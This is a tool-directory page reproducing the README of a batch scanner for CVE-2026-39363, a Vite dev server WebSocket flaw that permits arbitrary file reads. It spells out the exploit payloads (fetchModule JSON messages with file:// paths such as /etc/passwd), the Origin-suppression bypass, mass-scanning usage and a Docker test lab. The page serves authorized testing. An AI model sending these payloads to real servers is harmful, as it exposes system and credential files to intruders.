Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39363 — Batch vulnerability scanner for CVE-2026-39363 in Vite dev server, exploiting WebSocket origin validation bypass to read arbitrary files via fetchModule with file:// protocol. | Kitploit
Tools/GitHubGitHub/f4s1on/cve-2026-39363
Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubf4s1on/cve-2026-39363

CVE-2026-39363

Batch vulnerability scanner for CVE-2026-39363 in Vite dev server, exploiting WebSocket origin validation bypass to read arbitrary files via fetchModule with file:// protocol.

View Repository
24 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39363 — Vite Dev Server WebSocket Arbitrary File Read Batch Detection

Disclaimer: This tool is intended for authorized security testing and educational research only. Users must comply with local laws and regulations; unauthorized scanning or attacking others' systems is illegal. The author assumes no responsibility for any misuse.

Vulnerability Description

The HMR WebSocket of the Vite development server (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) does not validate the Origin header. An attacker can invoke fetchModule via the vite:invoke event, using the file:// protocol combined with the ?raw parameter to bypass the server.fs.allow restriction and read arbitrary files from the server.

Detection Flow

root@kitploit:~
url.txt → http://host:port
  ↓ Parse host + port
  ↓
┌─ Step 1: Try ws://host:given port
│  ├─ WebSocket handshake success + exploit success → vulnerable
│  └─ Failed → if given port == 5173 → not vulnerable
│
└─ Step 3: Probe host:5173 (only when given port ≠ 5173)
   ├─ Port closed → not vulnerable
   └─ Port open → WebSocket handshake + exploit on 5173
        ├─ Success → vulnerable
        └─ Failed → not vulnerable

Usage

Install Dependencies

root@kitploit:~
pip install -r requirements.txt

Enable and Disable Proxy

To enable the proxy, uncomment lines 26-27 of the script

root@kitploit:~
# To enable the proxy, uncomment the following two lines and set the correct proxy address and port
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"

Prepare Targets

Write the target URLs into url.txt, one per line:

root@kitploit:~
http://192.168.1.100:5173
http://example.com
http://target.cn:8080

Run

root@kitploit:~
python cve_2026_39363.py

Output

Terminal:

root@kitploit:~
[*] Loaded 3 URL(s), scanning with 3 thread(s)...

http://192.168.1.100:5173 vulnerable (Linux)
http://example.com vulnerable (Linux)
http://target.cn:8080 not vulnerable

[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt

result.txt:

root@kitploit:~
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)

Each line contains the POC type (Linux / Windows), identifying the file characteristics successfully read.

POC Verification Files

Target SystemFile ReadCharacteristic Marker
Linuxfile:///etc/passwd?rawroot:
Windowsfile:///C:/Windows/win.ini?rawfor 16-bit app support

Exploit Payload

Two payload formats are supported (tried in order):

  1. Vulhub PoC format: {"id":"send:0","name":"fetchModule","data":[file_path]}
  2. Internal RPC format: {"fn":"fetchModule","args":[file_path]}

WebSocket Key Parameters

ParameterValueReason
Subprotocolvite-hmrVite HMR WebSocket requirement
OriginSuppressed (suppress_origin=True)Vite rejects non-browser connections with an Origin header

Docker Vulnerability Environment Testing

root@kitploit:~
# Start
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1

# Scan
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py

# Cleanup
docker stop vite-vuln && docker rm vite-vuln

FAQ

Q: All detections return "not vulnerable"?

  • Confirm whether port 5173 on the target is open
  • Confirm the Vite dev server is exposed to the network using --host or server.host
  • Confirm WebSocket is not disabled by server.ws: false

Q: Garbled output on Windows?

  • The script handles this automatically; if issues persist, confirm the terminal uses UTF-8 encoding

Q: url.txt generated by PowerShell cannot be parsed?

  • The script uses utf-8-sig to automatically skip the BOM
Download Tool